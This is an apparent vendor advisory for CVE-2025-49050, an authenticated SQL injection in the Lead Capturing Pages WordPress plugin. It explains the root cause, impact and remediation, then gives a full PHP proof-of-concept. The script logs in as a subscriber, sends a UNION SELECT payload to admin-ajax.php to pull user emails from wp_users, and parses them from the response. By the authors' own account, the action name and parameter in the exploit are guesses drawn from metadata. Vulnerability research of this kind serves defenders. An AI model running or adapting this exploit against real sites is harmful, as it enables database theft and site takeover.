Atomic Edge analysis of CVE-2025-49050 (metadata-based):
The Lead Capturing Pages WordPress plugin version 2.5 contains an authenticated SQL injection vulnerability. This flaw allows attackers with subscriber-level access or higher to execute arbitrary SQL commands. The vulnerability stems from insufficient input sanitization in a plugin endpoint, enabling data extraction from the database.
Atomic Edge research identifies the root cause as improper neutralization of special elements in an SQL command (CWE-89). The vulnerability description states insufficient escaping on user-supplied parameters and lack of sufficient preparation on existing SQL queries. This indicates the plugin likely constructs SQL queries by directly concatenating user input without using WordPress’s `$wpdb->prepare()` method or proper escaping functions. These conclusions are inferred from the CWE classification and vulnerability description, as no source code diff is available for confirmation.
Exploitation requires an authenticated attacker with subscriber privileges. The attacker would send a crafted HTTP request to a vulnerable plugin endpoint, injecting SQL payloads through a specific parameter. Based on WordPress plugin patterns, the attack vector is likely an AJAX handler (`admin-ajax.php`) or a REST API endpoint. The payload would append UNION SELECT statements to extract sensitive data like user credentials, plugin settings, or other database contents. The CVSS vector indicates no user interaction is required for successful exploitation.
Remediation requires implementing proper input validation and parameterized queries. The plugin should use WordPress’s `$wpdb->prepare()` method for all SQL queries incorporating user input. All user-supplied parameters must be validated against expected data types and escaped using appropriate WordPress sanitization functions. The fix should also implement strict capability checks to ensure only authorized users can access database operations.
Successful exploitation leads to complete database compromise. Attackers can extract sensitive information including WordPress user credentials, personally identifiable information stored by the plugin, and other application data. This enables credential theft, privilege escalation, and potential site takeover. The CVSS score of 6.5 reflects the high confidentiality impact combined with low attack complexity and authenticated access requirement.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-49050 - Lead Capturing Pages <= 2.5 - Authenticated (Subscriber+) SQL Injection
<?php
/**
* Proof of Concept for CVE-2025-49050
* This script demonstrates authenticated SQL injection in Lead Capturing Pages plugin <= 2.5
* Assumptions based on metadata analysis:
* 1. Vulnerability exists in an AJAX endpoint (most common WordPress pattern)
* 2. The endpoint uses the plugin slug 'wp-lead-capture' in its action name
* 3. A specific parameter accepts unsanitized input that flows into SQL queries
* 4. Subscriber-level authentication is sufficient for exploitation
*/
$target_url = 'https://target-site.com';
$username = 'subscriber_user';
$password = 'subscriber_pass';
// Initialize cURL session for WordPress authentication
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => 0
]);
// Step 1: Authenticate to WordPress
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]));
$response = curl_exec($ch);
if (strpos($response, 'Dashboard') === false && strpos($response, 'admin-bar') === false) {
die('Authentication failed. Check credentials.');
}
// Step 2: Exploit SQL injection via AJAX endpoint
// Based on plugin slug pattern, the AJAX action likely contains 'wp_lead_capture' or 'lead_capture'
// The vulnerable parameter name is unknown from metadata, using 'id' as common example
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// SQL injection payload to extract WordPress user emails
// Using UNION SELECT with error-based technique for demonstration
$sql_payload = "1' UNION SELECT user_email,2,3,4,5 FROM wp_users WHERE 1=1--";
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => 'wp_lead_capture_get_data', // Inferred action name
'id' => $sql_payload, // Injected parameter
'nonce' => 'dummy_nonce' // Nonce may be required but could be bypassable
]));
$response = curl_exec($ch);
curl_close($ch);
// Parse response for extracted data
if (preg_match_all('/[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+.[a-zA-Z]{2,}/', $response, $matches)) {
echo "Extracted email addresses:n";
foreach ($matches[0] as $email) {
echo "- $emailn";
}
} else {
echo "No email addresses found in response.n";
echo "Response sample: " . substr($response, 0, 500) . "n";
}
// Cleanup
if (file_exists('cookies.txt')) {
unlink('cookies.txt');
}
?>
